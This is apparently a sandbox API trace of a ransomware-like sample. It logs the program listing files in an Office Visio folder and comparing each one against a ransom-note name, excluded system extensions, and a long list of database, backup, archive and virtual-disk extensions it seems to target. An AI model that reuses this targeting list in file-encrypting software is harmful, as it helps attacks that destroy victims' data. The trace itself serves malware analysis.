	[0066.369] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3fa20d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fa20d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.370] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.370] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.370] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ACTDIR_M.VST" | out: lpString1="ACTDIR_M.VST") returned="ACTDIR_M.VST"
	[0066.370] lstrlenW (lpString="ACTDIR_M.VST") returned 12
	[0066.370] lstrlenW (lpString="Apollon865") returned 10
	[0066.370] lstrcmpiW (lpString1="TDIR_M.VST", lpString2="Apollon865") returned 1
	[0066.370] lstrlenW (lpString=".dll") returned 4
	[0066.370] lstrcmpiW (lpString1="ACTDIR_M.VST", lpString2=".dll") returned 1
	[0066.370] lstrlenW (lpString=".lnk") returned 4
	[0066.370] lstrcmpiW (lpString1="ACTDIR_M.VST", lpString2=".lnk") returned 1
	[0066.370] lstrlenW (lpString=".ini") returned 4
	[0066.370] lstrcmpiW (lpString1="ACTDIR_M.VST", lpString2=".ini") returned 1
	[0066.370] lstrlenW (lpString=".sys") returned 4
	[0066.370] lstrcmpiW (lpString1="ACTDIR_M.VST", lpString2=".sys") returned 1
	[0066.370] lstrlenW (lpString="ACTDIR_M.VST") returned 12
	[0066.370] lstrlenW (lpString="bak") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="bak") returned 1
	[0066.371] lstrlenW (lpString="ba_") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="ba_") returned 1
	[0066.371] lstrlenW (lpString="dbb") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="dbb") returned 1
	[0066.371] lstrlenW (lpString="vmdk") returned 4
	[0066.371] lstrcmpiW (lpString1=".VST", lpString2="vmdk") returned -1
	[0066.371] lstrlenW (lpString="rar") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="rar") returned 1
	[0066.371] lstrlenW (lpString="zip") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="zip") returned -1
	[0066.371] lstrlenW (lpString="tgz") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="tgz") returned 1
	[0066.371] lstrlenW (lpString="vbox") returned 4
	[0066.371] lstrcmpiW (lpString1=".VST", lpString2="vbox") returned -1
	[0066.371] lstrlenW (lpString="vdi") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="vdi") returned 1
	[0066.371] lstrlenW (lpString="vhd") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="vhd") returned 1
	[0066.371] lstrlenW (lpString="vhdx") returned 4
	[0066.371] lstrcmpiW (lpString1=".VST", lpString2="vhdx") returned -1
	[0066.371] lstrlenW (lpString="avhd") returned 4
	[0066.371] lstrcmpiW (lpString1=".VST", lpString2="avhd") returned -1
	[0066.371] lstrlenW (lpString="db") returned 2
	[0066.371] lstrcmpiW (lpString1="ST", lpString2="db") returned 1
	[0066.371] lstrlenW (lpString="db2") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="db2") returned 1
	[0066.371] lstrlenW (lpString="db3") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="db3") returned 1
	[0066.371] lstrlenW (lpString="dbf") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="dbf") returned 1
	[0066.371] lstrlenW (lpString="mdf") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="mdf") returned 1
	[0066.371] lstrlenW (lpString="mdb") returned 3
	[0066.371] lstrcmpiW (lpString1="VST", lpString2="mdb") returned 1
	[0066.372] lstrlenW (lpString="sql") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="sql") returned 1
	[0066.372] lstrlenW (lpString="sqlite") returned 6
	[0066.372] lstrcmpiW (lpString1="_M.VST", lpString2="sqlite") returned -1
	[0066.372] lstrlenW (lpString="sqlite3") returned 7
	[0066.372] lstrcmpiW (lpString1="R_M.VST", lpString2="sqlite3") returned -1
	[0066.372] lstrlenW (lpString="sqlitedb") returned 8
	[0066.372] lstrcmpiW (lpString1="IR_M.VST", lpString2="sqlitedb") returned -1
	[0066.372] lstrlenW (lpString="xml") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="xml") returned -1
	[0066.372] lstrlenW (lpString="$er") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="$er") returned 1
	[0066.372] lstrlenW (lpString="4dd") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="4dd") returned 1
	[0066.372] lstrlenW (lpString="4dl") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="4dl") returned 1
	[0066.372] lstrlenW (lpString="^^^") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="^^^") returned 1
	[0066.372] lstrlenW (lpString="abs") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="abs") returned 1
	[0066.372] lstrlenW (lpString="abx") returned 3
	[0066.372] lstrcmpiW (lpString1="VST", lpString2="abx") returned 1
	[0066.372] lstrlenW (lpString="accdb") returned 5
	[0066.372] lstrcmpiW (lpString1="M.VST", lpString2="accdb") returned 1
	[0066.372] lstrlenW (lpString="accdc") returned 5
	[0066.372] lstrcmpiW (lpString1="M.VST", lpString2="accdc") returned 1
	[0066.372] lstrlenW (lpString="accde") returned 5
	[0066.372] lstrcmpiW (lpString1="M.VST", lpString2="accde") returned 1
	[0066.372] lstrlenW (lpString="accdr") returned 5
	[0066.372] lstrcmpiW (lpString1="M.VST", lpString2="accdr") returned 1
	[0066.372] lstrlenW (lpString="accdt") returned 5
	[0066.372] lstrcmpiW (lpString1="M.VST", lpString2="accdt") returned 1
	[0066.372] lstrlenW (lpString="accdw") returned 5
	[0066.372] lstrcmpiW (lpString1="M.VST", lpString2="accdw") returned 1
	[0066.373] lstrlenW (lpString="accft") returned 5
	[0066.373] lstrcmpiW (lpString1="M.VST", lpString2="accft") returned 1
	[0066.373] lstrlenW (lpString="adb") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="adb") returned 1
	[0066.373] lstrlenW (lpString="adb") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="adb") returned 1
	[0066.373] lstrlenW (lpString="ade") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="ade") returned 1
	[0066.373] lstrlenW (lpString="adf") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="adf") returned 1
	[0066.373] lstrlenW (lpString="adn") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="adn") returned 1
	[0066.373] lstrlenW (lpString="adp") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="adp") returned 1
	[0066.373] lstrlenW (lpString="alf") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="alf") returned 1
	[0066.373] lstrlenW (lpString="ask") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="ask") returned 1
	[0066.373] lstrlenW (lpString="btr") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="btr") returned 1
	[0066.373] lstrlenW (lpString="cat") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="cat") returned 1
	[0066.373] lstrlenW (lpString="cdb") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="cdb") returned 1
	[0066.373] lstrlenW (lpString="ckp") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="ckp") returned 1
	[0066.373] lstrlenW (lpString="cma") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="cma") returned 1
	[0066.373] lstrlenW (lpString="cpd") returned 3
	[0066.373] lstrcmpiW (lpString1="VST", lpString2="cpd") returned 1
	[0066.373] lstrlenW (lpString="dacpac") returned 6
	[0066.373] lstrcmpiW (lpString1="_M.VST", lpString2="dacpac") returned -1
	[0066.373] lstrlenW (lpString="dad") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dad") returned 1
	[0066.374] lstrlenW (lpString="dadiagrams") returned 10
	[0066.374] lstrcmpiW (lpString1="TDIR_M.VST", lpString2="dadiagrams") returned 1
	[0066.374] lstrlenW (lpString="daschema") returned 8
	[0066.374] lstrcmpiW (lpString1="IR_M.VST", lpString2="daschema") returned 1
	[0066.374] lstrlenW (lpString="db-journal") returned 10
	[0066.374] lstrcmpiW (lpString1="TDIR_M.VST", lpString2="db-journal") returned 1
	[0066.374] lstrlenW (lpString="db-shm") returned 6
	[0066.374] lstrcmpiW (lpString1="_M.VST", lpString2="db-shm") returned -1
	[0066.374] lstrlenW (lpString="db-wal") returned 6
	[0066.374] lstrcmpiW (lpString1="_M.VST", lpString2="db-wal") returned -1
	[0066.374] lstrlenW (lpString="dbc") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dbc") returned 1
	[0066.374] lstrlenW (lpString="dbs") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dbs") returned 1
	[0066.374] lstrlenW (lpString="dbt") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dbt") returned 1
	[0066.374] lstrlenW (lpString="dbv") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dbv") returned 1
	[0066.374] lstrlenW (lpString="dbx") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dbx") returned 1
	[0066.374] lstrlenW (lpString="dcb") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dcb") returned 1
	[0066.374] lstrlenW (lpString="dct") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dct") returned 1
	[0066.374] lstrlenW (lpString="dcx") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dcx") returned 1
	[0066.374] lstrlenW (lpString="ddl") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="ddl") returned 1
	[0066.374] lstrlenW (lpString="dlis") returned 4
	[0066.374] lstrcmpiW (lpString1=".VST", lpString2="dlis") returned -1
	[0066.374] lstrlenW (lpString="dp1") returned 3
	[0066.374] lstrcmpiW (lpString1="VST", lpString2="dp1") returned 1
	[0066.375] lstrlenW (lpString="dqy") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="dqy") returned 1
	[0066.375] lstrlenW (lpString="dsk") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="dsk") returned 1
	[0066.375] lstrlenW (lpString="dsn") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="dsn") returned 1
	[0066.375] lstrlenW (lpString="dtsx") returned 4
	[0066.375] lstrcmpiW (lpString1=".VST", lpString2="dtsx") returned -1
	[0066.375] lstrlenW (lpString="dxl") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="dxl") returned 1
	[0066.375] lstrlenW (lpString="eco") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="eco") returned 1
	[0066.375] lstrlenW (lpString="ecx") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="ecx") returned 1
	[0066.375] lstrlenW (lpString="edb") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="edb") returned 1
	[0066.375] lstrlenW (lpString="epim") returned 4
	[0066.375] lstrcmpiW (lpString1=".VST", lpString2="epim") returned -1
	[0066.375] lstrlenW (lpString="fcd") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="fcd") returned 1
	[0066.375] lstrlenW (lpString="fdb") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="fdb") returned 1
	[0066.375] lstrlenW (lpString="fic") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="fic") returned 1
	[0066.375] lstrlenW (lpString="flexolibrary") returned 12
	[0066.375] lstrlenW (lpString="fm5") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="fm5") returned 1
	[0066.375] lstrlenW (lpString="fmp") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="fmp") returned 1
	[0066.375] lstrlenW (lpString="fmp12") returned 5
	[0066.375] lstrcmpiW (lpString1="M.VST", lpString2="fmp12") returned 1
	[0066.375] lstrlenW (lpString="fmpsl") returned 5
	[0066.375] lstrcmpiW (lpString1="M.VST", lpString2="fmpsl") returned 1
	[0066.375] lstrlenW (lpString="fol") returned 3
	[0066.375] lstrcmpiW (lpString1="VST", lpString2="fol") returned 1
	[0066.376] lstrlenW (lpString="fp3") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="fp3") returned 1
	[0066.376] lstrlenW (lpString="fp4") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="fp4") returned 1
	[0066.376] lstrlenW (lpString="fp5") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="fp5") returned 1
	[0066.376] lstrlenW (lpString="fp7") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="fp7") returned 1
	[0066.376] lstrlenW (lpString="fpt") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="fpt") returned 1
	[0066.376] lstrlenW (lpString="frm") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="frm") returned 1
	[0066.376] lstrlenW (lpString="gdb") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="gdb") returned 1
	[0066.376] lstrlenW (lpString="gdb") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="gdb") returned 1
	[0066.376] lstrlenW (lpString="grdb") returned 4
	[0066.376] lstrcmpiW (lpString1=".VST", lpString2="grdb") returned -1
	[0066.376] lstrlenW (lpString="gwi") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="gwi") returned 1
	[0066.376] lstrlenW (lpString="hdb") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="hdb") returned 1
	[0066.376] lstrlenW (lpString="his") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="his") returned 1
	[0066.376] lstrlenW (lpString="ib") returned 2
	[0066.376] lstrcmpiW (lpString1="ST", lpString2="ib") returned 1
	[0066.376] lstrlenW (lpString="idb") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="idb") returned 1
	[0066.376] lstrlenW (lpString="ihx") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="ihx") returned 1
	[0066.376] lstrlenW (lpString="itdb") returned 4
	[0066.376] lstrcmpiW (lpString1=".VST", lpString2="itdb") returned -1
	[0066.376] lstrlenW (lpString="itw") returned 3
	[0066.376] lstrcmpiW (lpString1="VST", lpString2="itw") returned 1
	[0066.377] lstrlenW (lpString="jet") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="jet") returned 1
	[0066.377] lstrlenW (lpString="jtx") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="jtx") returned 1
	[0066.377] lstrlenW (lpString="kdb") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="kdb") returned 1
	[0066.377] lstrlenW (lpString="kexi") returned 4
	[0066.377] lstrcmpiW (lpString1=".VST", lpString2="kexi") returned -1
	[0066.377] lstrlenW (lpString="kexic") returned 5
	[0066.377] lstrcmpiW (lpString1="M.VST", lpString2="kexic") returned 1
	[0066.377] lstrlenW (lpString="kexis") returned 5
	[0066.377] lstrcmpiW (lpString1="M.VST", lpString2="kexis") returned 1
	[0066.377] lstrlenW (lpString="lgc") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="lgc") returned 1
	[0066.377] lstrlenW (lpString="lwx") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="lwx") returned 1
	[0066.377] lstrlenW (lpString="maf") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="maf") returned 1
	[0066.377] lstrlenW (lpString="maq") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="maq") returned 1
	[0066.377] lstrlenW (lpString="mar") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="mar") returned 1
	[0066.377] lstrlenW (lpString="marshal") returned 7
	[0066.377] lstrcmpiW (lpString1="R_M.VST", lpString2="marshal") returned 1
	[0066.377] lstrlenW (lpString="mas") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="mas") returned 1
	[0066.377] lstrlenW (lpString="mav") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="mav") returned 1
	[0066.377] lstrlenW (lpString="maw") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="maw") returned 1
	[0066.377] lstrlenW (lpString="mdbhtml") returned 7
	[0066.377] lstrcmpiW (lpString1="R_M.VST", lpString2="mdbhtml") returned 1
	[0066.377] lstrlenW (lpString="mdn") returned 3
	[0066.377] lstrcmpiW (lpString1="VST", lpString2="mdn") returned 1
	[0066.378] lstrlenW (lpString="mdt") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="mdt") returned 1
	[0066.378] lstrlenW (lpString="mfd") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="mfd") returned 1
	[0066.378] lstrlenW (lpString="mpd") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="mpd") returned 1
	[0066.378] lstrlenW (lpString="mrg") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="mrg") returned 1
	[0066.378] lstrlenW (lpString="mud") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="mud") returned 1
	[0066.378] lstrlenW (lpString="mwb") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="mwb") returned 1
	[0066.378] lstrlenW (lpString="myd") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="myd") returned 1
	[0066.378] lstrlenW (lpString="ndf") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="ndf") returned 1
	[0066.378] lstrlenW (lpString="nnt") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="nnt") returned 1
	[0066.378] lstrlenW (lpString="nrmlib") returned 6
	[0066.378] lstrcmpiW (lpString1="_M.VST", lpString2="nrmlib") returned -1
	[0066.378] lstrlenW (lpString="ns2") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="ns2") returned 1
	[0066.378] lstrlenW (lpString="ns3") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="ns3") returned 1
	[0066.378] lstrlenW (lpString="ns4") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="ns4") returned 1
	[0066.378] lstrlenW (lpString="nsf") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="nsf") returned 1
	[0066.378] lstrlenW (lpString="nv") returned 2
	[0066.378] lstrcmpiW (lpString1="ST", lpString2="nv") returned 1
	[0066.378] lstrlenW (lpString="nv2") returned 3
	[0066.378] lstrcmpiW (lpString1="VST", lpString2="nv2") returned 1
	[0066.378] lstrlenW (lpString="nwdb") returned 4
	[0066.378] lstrcmpiW (lpString1=".VST", lpString2="nwdb") returned -1
	[0066.379] lstrlenW (lpString="nyf") returned 3
	[0066.379] lstrcmpiW (lpString1="VST", lpString2="nyf") returned 1
	[0066.379] lstrlenW (lpString="odb") returned 3
	[0066.379] lstrcmpiW (lpString1="VST", lpString2="odb") returned 1
	[0066.379] lstrlenW (lpString="odb") returned 3
	[0066.379] lstrcmpiW (lpString1="VST", lpString2="odb") returned 1
	[0066.379] lstrlenW (lpString="oqy") returned 3
	[0066.379] lstrcmpiW (lpString1="VST", lpString2="oqy") returned 1
	[0066.379] lstrlenW (lpString="ora") returned 3
	[0066.379] lstrcmpiW (lpString1="VST", lpString2="ora") returned 1
	[0066.380] lstrlenW (lpString="orx") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="orx") returned 1
	[0066.380] lstrlenW (lpString="owc") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="owc") returned 1
	[0066.380] lstrlenW (lpString="p96") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="p96") returned 1
	[0066.380] lstrlenW (lpString="p97") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="p97") returned 1
	[0066.380] lstrlenW (lpString="pan") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="pan") returned 1
	[0066.380] lstrlenW (lpString="pdb") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="pdb") returned 1
	[0066.380] lstrlenW (lpString="pdm") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="pdm") returned 1
	[0066.380] lstrlenW (lpString="pnz") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="pnz") returned 1
	[0066.380] lstrlenW (lpString="qry") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="qry") returned 1
	[0066.380] lstrlenW (lpString="qvd") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="qvd") returned 1
	[0066.380] lstrlenW (lpString="rbf") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="rbf") returned 1
	[0066.380] lstrlenW (lpString="rctd") returned 4
	[0066.380] lstrcmpiW (lpString1=".VST", lpString2="rctd") returned -1
	[0066.380] lstrlenW (lpString="rod") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="rod") returned 1
	[0066.380] lstrlenW (lpString="rodx") returned 4
	[0066.380] lstrcmpiW (lpString1=".VST", lpString2="rodx") returned -1
	[0066.380] lstrlenW (lpString="rpd") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="rpd") returned 1
	[0066.380] lstrlenW (lpString="rsd") returned 3
	[0066.380] lstrcmpiW (lpString1="VST", lpString2="rsd") returned 1
	[0066.380] lstrlenW (lpString="sas7bdat") returned 8
	[0066.380] lstrcmpiW (lpString1="IR_M.VST", lpString2="sas7bdat") returned -1
	[0066.381] lstrlenW (lpString="sbf") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="sbf") returned 1
	[0066.381] lstrlenW (lpString="scx") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="scx") returned 1
	[0066.381] lstrlenW (lpString="sdb") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="sdb") returned 1
	[0066.381] lstrlenW (lpString="sdc") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="sdc") returned 1
	[0066.381] lstrlenW (lpString="sdf") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="sdf") returned 1
	[0066.381] lstrlenW (lpString="sis") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="sis") returned 1
	[0066.381] lstrlenW (lpString="spq") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="spq") returned 1
	[0066.381] lstrlenW (lpString="te") returned 2
	[0066.381] lstrcmpiW (lpString1="ST", lpString2="te") returned -1
	[0066.381] lstrlenW (lpString="teacher") returned 7
	[0066.381] lstrcmpiW (lpString1="R_M.VST", lpString2="teacher") returned -1
	[0066.381] lstrlenW (lpString="tmd") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="tmd") returned 1
	[0066.381] lstrlenW (lpString="tps") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="tps") returned 1
	[0066.381] lstrlenW (lpString="trc") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="trc") returned 1
	[0066.381] lstrlenW (lpString="trc") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="trc") returned 1
	[0066.381] lstrlenW (lpString="trm") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="trm") returned 1
	[0066.381] lstrlenW (lpString="udb") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="udb") returned 1
	[0066.381] lstrlenW (lpString="udl") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="udl") returned 1
	[0066.381] lstrlenW (lpString="usr") returned 3
	[0066.381] lstrcmpiW (lpString1="VST", lpString2="usr") returned 1
	[0066.382] lstrlenW (lpString="v12") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="v12") returned 1
	[0066.382] lstrlenW (lpString="vis") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="vis") returned 1
	[0066.382] lstrlenW (lpString="vpd") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="vpd") returned 1
	[0066.382] lstrlenW (lpString="vvv") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="vvv") returned -1
	[0066.382] lstrlenW (lpString="wdb") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="wdb") returned -1
	[0066.382] lstrlenW (lpString="wmdb") returned 4
	[0066.382] lstrcmpiW (lpString1=".VST", lpString2="wmdb") returned -1
	[0066.382] lstrlenW (lpString="wrk") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="wrk") returned -1
	[0066.382] lstrlenW (lpString="xdb") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="xdb") returned -1
	[0066.382] lstrlenW (lpString="xld") returned 3
	[0066.382] lstrcmpiW (lpString1="VST", lpString2="xld") returned -1
	[0066.382] lstrlenW (lpString="xmlff") returned 5
	[0066.382] lstrcmpiW (lpString1="M.VST", lpString2="xmlff") returned -1
	[0066.382] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2101d200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2101d200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACTDIR_U.VST", cAlternateFileName="")) returned 1
	[0066.382] lstrcmpiW (lpString1="ACTDIR_U.VST", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.382] lstrcmpiW (lpString1="ACTDIR_U.VST", lpString2="Apollon865.txt.exe") returned -1
	[0066.382] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ACTDIR_U.VST" | out: lpString1="ACTDIR_U.VST") returned="ACTDIR_U.VST"
	[0066.382] lstrlenW (lpString="ACTDIR_U.VST") returned 12
	[0066.382] lstrlenW (lpString="Apollon865") returned 10
	[0066.382] lstrcmpiW (lpString1="TDIR_U.VST", lpString2="Apollon865") returned 1
	[0066.382] lstrlenW (lpString=".dll") returned 4
	[0066.382] lstrcmpiW (lpString1="ACTDIR_U.VST", lpString2=".dll") returned 1
	[0066.382] lstrlenW (lpString=".lnk") returned 4
	[0066.382] lstrcmpiW (lpString1="ACTDIR_U.VST", lpString2=".lnk") returned 1
	[0066.382] lstrlenW (lpString=".ini") returned 4
	[0066.383] lstrcmpiW (lpString1="ACTDIR_U.VST", lpString2=".ini") returned 1
	[0066.383] lstrlenW (lpString=".sys") returned 4
	[0066.383] lstrcmpiW (lpString1="ACTDIR_U.VST", lpString2=".sys") returned 1
	[0066.383] lstrlenW (lpString="ACTDIR_U.VST") returned 12
	[0066.383] lstrlenW (lpString="bak") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="bak") returned 1
	[0066.383] lstrlenW (lpString="ba_") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="ba_") returned 1
	[0066.383] lstrlenW (lpString="dbb") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="dbb") returned 1
	[0066.383] lstrlenW (lpString="vmdk") returned 4
	[0066.383] lstrcmpiW (lpString1=".VST", lpString2="vmdk") returned -1
	[0066.383] lstrlenW (lpString="rar") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="rar") returned 1
	[0066.383] lstrlenW (lpString="zip") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="zip") returned -1
	[0066.383] lstrlenW (lpString="tgz") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="tgz") returned 1
	[0066.383] lstrlenW (lpString="vbox") returned 4
	[0066.383] lstrcmpiW (lpString1=".VST", lpString2="vbox") returned -1
	[0066.383] lstrlenW (lpString="vdi") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="vdi") returned 1
	[0066.383] lstrlenW (lpString="vhd") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="vhd") returned 1
	[0066.383] lstrlenW (lpString="vhdx") returned 4
	[0066.383] lstrcmpiW (lpString1=".VST", lpString2="vhdx") returned -1
	[0066.383] lstrlenW (lpString="avhd") returned 4
	[0066.383] lstrcmpiW (lpString1=".VST", lpString2="avhd") returned -1
	[0066.383] lstrlenW (lpString="db") returned 2
	[0066.383] lstrcmpiW (lpString1="ST", lpString2="db") returned 1
	[0066.383] lstrlenW (lpString="db2") returned 3
	[0066.383] lstrcmpiW (lpString1="VST", lpString2="db2") returned 1
	[0066.383] lstrlenW (lpString="db3") returned 3
